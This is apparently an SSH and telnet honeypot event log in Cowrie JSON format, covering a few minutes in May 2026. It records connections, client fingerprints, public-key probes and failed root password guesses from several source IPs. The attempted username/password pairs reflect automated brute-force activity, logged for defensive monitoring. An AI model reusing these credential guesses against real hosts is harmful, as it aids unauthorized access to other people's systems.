{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:54.852832Z","src_ip":"103.27.238.116","session":"386e24024c91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":47956,"dst_ip":"10.17.0.5","dst_port":23,"session":"c072ec315f75","protocol":"telnet","message":"New connection: 105.209.159.189:47956 (10.17.0.5:23) [session: c072ec315f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:55.317445Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vsevolod","message":"login attempt [root/vsevolod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:55.552254Z","src_ip":"103.27.238.120","session":"73d78e810767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita2","message":"login attempt [root/nikita2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:55.651482Z","src_ip":"103.27.238.116","session":"386e24024c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:56.824634Z","src_ip":"103.27.238.120","session":"73d78e810767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:56.923431Z","src_ip":"103.27.238.116","session":"386e24024c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.59849500656128,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:58.073111Z","src_ip":"135.148.14.151","session":"d5a87b26d49a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.726346254348755,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:52:59.207014Z","src_ip":"135.148.14.151","session":"2a451fc2de73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804173707962036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:23.384737Z","src_ip":"135.148.14.151","session":"a85ace6a13be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.210.194.2","src_port":52528,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ff7433e6f9d","protocol":"ssh","message":"New connection: 192.210.194.2:52528 (10.17.0.5:22) [session: 0ff7433e6f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:48.350265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:48.354923Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:48.428195Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:f2:71:3c:8f:0e:1a:ad:55:2c:b2:08:90:84:90:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOeFkz8Wwj7V9lP6C8H0mG1ksK3fkrmonbbLpvkqWVT9t6Am3Gl40RIqPa424Spu2h7k2ja2jmB+C0OlpS9tel/ZiQ4YLGKAoB8PKRjKSIZxDfWZ2eI81rvB9uPOUzFyOEBz0pJrNdCvDngCE3q1xxeIjCDMx9jU1U46PXRxVJ6N/3i4XQ1cmj0dGT+eYHdqS+b7JjwQOuku0Nfz0BPXeY8XB3mDBvGk3XwRW1qxSrykPOt8PlyEus7KvH/R6cKgv0aSEBOMTPFH1FTcj+D0Q9f08DpWHUGNi1spT26/Kx2+k3ZrSkrU+ORMDi/8t0KfQwEX0ENb5NVx4V4ZVZM41X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:f2:71:3c:8f:0e:1a:ad:55:2c:b2:08:90:84:90:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:48.770349Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:f2:71:3c:8f:0e:1a:ad:55:2c:b2:08:90:84:90:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOeFkz8Wwj7V9lP6C8H0mG1ksK3fkrmonbbLpvkqWVT9t6Am3Gl40RIqPa424Spu2h7k2ja2jmB+C0OlpS9tel/ZiQ4YLGKAoB8PKRjKSIZxDfWZ2eI81rvB9uPOUzFyOEBz0pJrNdCvDngCE3q1xxeIjCDMx9jU1U46PXRxVJ6N/3i4XQ1cmj0dGT+eYHdqS+b7JjwQOuku0Nfz0BPXeY8XB3mDBvGk3XwRW1qxSrykPOt8PlyEus7KvH/R6cKgv0aSEBOMTPFH1FTcj+D0Q9f08DpWHUGNi1spT26/Kx2+k3ZrSkrU+ORMDi/8t0KfQwEX0ENb5NVx4V4ZVZM41X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:48.774097Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:5b:a4:17:1b:3a:31:3c:fd:bb:c5:45:e3:9d:67:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDIDAaGnBdwXwNfj8gGXhR8hNBfyoC/oNLWKSLDAYB/sR/elbSwL3NtYUozv3IiTWxP+YTgb7MFZiEqiKMu6+X75HpzYeCCA86JX0pGdzSDUD6Uj0HRGfQUPpTMiAu6mumQ1dL10Pulyy6zP+/BVMUbwkE1qy4XRS13kd0B9ZAb/pWJOcZVG2Zv1nUP1baWRVZ+LTZ2+0OCZeCVkncuIqtO0PO1pePoZPawgu6V7lztCznXalVD98ZRs2MR2jyiXFlc1FkAckexIfjGslCROVxXsqdY2lSNlMccQF5pLLRtVieSZ+nFE0+L5KBxHXe84GtK2tcz83k4/3HQ+PxCMP1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:5b:a4:17:1b:3a:31:3c:fd:bb:c5:45:e3:9d:67:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:48.851712Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:5b:a4:17:1b:3a:31:3c:fd:bb:c5:45:e3:9d:67:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDIDAaGnBdwXwNfj8gGXhR8hNBfyoC/oNLWKSLDAYB/sR/elbSwL3NtYUozv3IiTWxP+YTgb7MFZiEqiKMu6+X75HpzYeCCA86JX0pGdzSDUD6Uj0HRGfQUPpTMiAu6mumQ1dL10Pulyy6zP+/BVMUbwkE1qy4XRS13kd0B9ZAb/pWJOcZVG2Zv1nUP1baWRVZ+LTZ2+0OCZeCVkncuIqtO0PO1pePoZPawgu6V7lztCznXalVD98ZRs2MR2jyiXFlc1FkAckexIfjGslCROVxXsqdY2lSNlMccQF5pLLRtVieSZ+nFE0+L5KBxHXe84GtK2tcz83k4/3HQ+PxCMP1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:48.855513Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:ff:69:d6:44:60:41:39:3a:9a:7a:0b:a9:1e:96:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPXfzWhii19YCpsgMKt+oojUqfewyMjrVdocVE1YqZbtx7YX/+srKKyZoNNWqfV5/h2YAdz9VRGbhuoH7IX3h+jGJDf6tutFrODZOmBlxQNeIRwyHxMsgPQss1MovJuzGWJlIdnI5+HSglufxJCuDVRvTcqRXH9MemrOpsBwK8vtCf3qPAlDcNNOPJwQ9sjn1TCsE/afBAJZ2bXSDZDTD02i6ktto/tjuqpf53mSWWj2ty/6l/A4nBvt2eqJpz8S9u6kAXlHDuXL8+pYh4A1Uc8smqHK6XmcihzfDXDNIuW//pQJaWkLQUkZ1XWbfqR1rEzvKmDOIWQbRJXQxfAW7l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:ff:69:d6:44:60:41:39:3a:9a:7a:0b:a9:1e:96:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:48.929763Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:ff:69:d6:44:60:41:39:3a:9a:7a:0b:a9:1e:96:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPXfzWhii19YCpsgMKt+oojUqfewyMjrVdocVE1YqZbtx7YX/+srKKyZoNNWqfV5/h2YAdz9VRGbhuoH7IX3h+jGJDf6tutFrODZOmBlxQNeIRwyHxMsgPQss1MovJuzGWJlIdnI5+HSglufxJCuDVRvTcqRXH9MemrOpsBwK8vtCf3qPAlDcNNOPJwQ9sjn1TCsE/afBAJZ2bXSDZDTD02i6ktto/tjuqpf53mSWWj2ty/6l/A4nBvt2eqJpz8S9u6kAXlHDuXL8+pYh4A1Uc8smqHK6XmcihzfDXDNIuW//pQJaWkLQUkZ1XWbfqR1rEzvKmDOIWQbRJXQxfAW7l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:48.933908Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:45:f7:29:31:67:2a:0e:6d:6f:e8:e6:67:67:d4:da","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA1JCZ5M7y9m/IHr3eBUvppY+1hjf6HjBe84aATX6xHX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2e:45:f7:29:31:67:2a:0e:6d:6f:e8:e6:67:67:d4:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:49.009506Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:45:f7:29:31:67:2a:0e:6d:6f:e8:e6:67:67:d4:da","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA1JCZ5M7y9m/IHr3eBUvppY+1hjf6HjBe84aATX6xHX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:49.016024Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:fb:5e:ae:91:63:18:22:b1:f1:75:62:f4:37:50:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIsCkRIIuJlekE2vmYIHJTyfT738/JZD1Erk2n11QIKeQVdywtNLoZUlSIatVRN4pvgkXVHxsxBsI6VCgQQ4HP1Z2NshjyxQqH/Tx7qwjON/yEAQI9DLHeSI3YnA7rwqdvignmwk+GIxEEKmYeQdHcSN+cELTSTUSDTiRAc0ataOQ3GAh5loKnvwWNUdFf5RVwEGOdVNfjfQFWqoyvbR6f9tiVTvmyks1fhnJUqmu3N31WPYo7r/TCAmmf43mZnT62YRdXoxRycVQhGYK2yWD+YIzTBKskjxB8FCs6asXCy02O9j5A3/kuEK6FQi8a7CyzFIRwysN3SqnnCG5pmFsR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:fb:5e:ae:91:63:18:22:b1:f1:75:62:f4:37:50:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:49.091398Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:fb:5e:ae:91:63:18:22:b1:f1:75:62:f4:37:50:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIsCkRIIuJlekE2vmYIHJTyfT738/JZD1Erk2n11QIKeQVdywtNLoZUlSIatVRN4pvgkXVHxsxBsI6VCgQQ4HP1Z2NshjyxQqH/Tx7qwjON/yEAQI9DLHeSI3YnA7rwqdvignmwk+GIxEEKmYeQdHcSN+cELTSTUSDTiRAc0ataOQ3GAh5loKnvwWNUdFf5RVwEGOdVNfjfQFWqoyvbR6f9tiVTvmyks1fhnJUqmu3N31WPYo7r/TCAmmf43mZnT62YRdXoxRycVQhGYK2yWD+YIzTBKskjxB8FCs6asXCy02O9j5A3/kuEK6FQi8a7CyzFIRwysN3SqnnCG5pmFsR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:49.095905Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:49.171906Z","src_ip":"192.210.194.2","session":"0ff7433e6f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36750,"dst_ip":"159.203.135.109","dst_port":23,"session":"a64201d79f99","protocol":"telnet","message":"New connection: 135.148.14.151:36750 (159.203.135.109:23) [session: a64201d79f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:52.426740Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41664,"dst_ip":"159.203.135.109","dst_port":23,"session":"c188b76c8a33","protocol":"telnet","message":"New connection: 135.148.14.151:41664 (159.203.135.109:23) [session: c188b76c8a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:53:58.657166Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46568,"dst_ip":"159.203.135.109","dst_port":23,"session":"459c6d0b7c37","protocol":"telnet","message":"New connection: 135.148.14.151:46568 (159.203.135.109:23) [session: 459c6d0b7c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:09.014339Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":47090,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a443271c369","protocol":"ssh","message":"New connection: 103.77.242.62:47090 (159.203.135.109:22) [session: 2a443271c369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:17.186671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:17.193244Z","src_ip":"103.77.242.62","session":"2a443271c369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:17.446822Z","src_ip":"103.77.242.62","session":"2a443271c369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:18.201191Z","src_ip":"103.77.242.62","session":"2a443271c369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52764,"dst_ip":"159.203.135.109","dst_port":23,"session":"690c9bbb0082","protocol":"telnet","message":"New connection: 135.148.14.151:52764 (159.203.135.109:23) [session: 690c9bbb0082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:19.431350Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:19.453416Z","src_ip":"103.77.242.62","session":"2a443271c369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55802,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0d186f3e1d0","protocol":"ssh","message":"New connection: 103.153.68.219:55802 (159.203.135.109:22) [session: f0d186f3e1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:21.929504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:21.934829Z","src_ip":"103.153.68.219","session":"f0d186f3e1d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:22.183303Z","src_ip":"103.153.68.219","session":"f0d186f3e1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"armada","message":"login attempt [root/armada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:22.926451Z","src_ip":"103.153.68.219","session":"f0d186f3e1d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:24.176953Z","src_ip":"103.153.68.219","session":"f0d186f3e1d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.36996626853943,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:26.796563Z","src_ip":"135.148.14.151","session":"a64201d79f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.109.18","src_port":34099,"dst_ip":"10.17.0.5","dst_port":22,"session":"5795df22b939","protocol":"ssh","message":"New connection: 45.33.109.18:34099 (10.17.0.5:22) [session: 5795df22b939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:28.001910Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:28.006401Z","src_ip":"45.33.109.18","session":"5795df22b939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:28.009892Z","src_ip":"45.33.109.18","session":"5795df22b939","protocol":"ssh"}
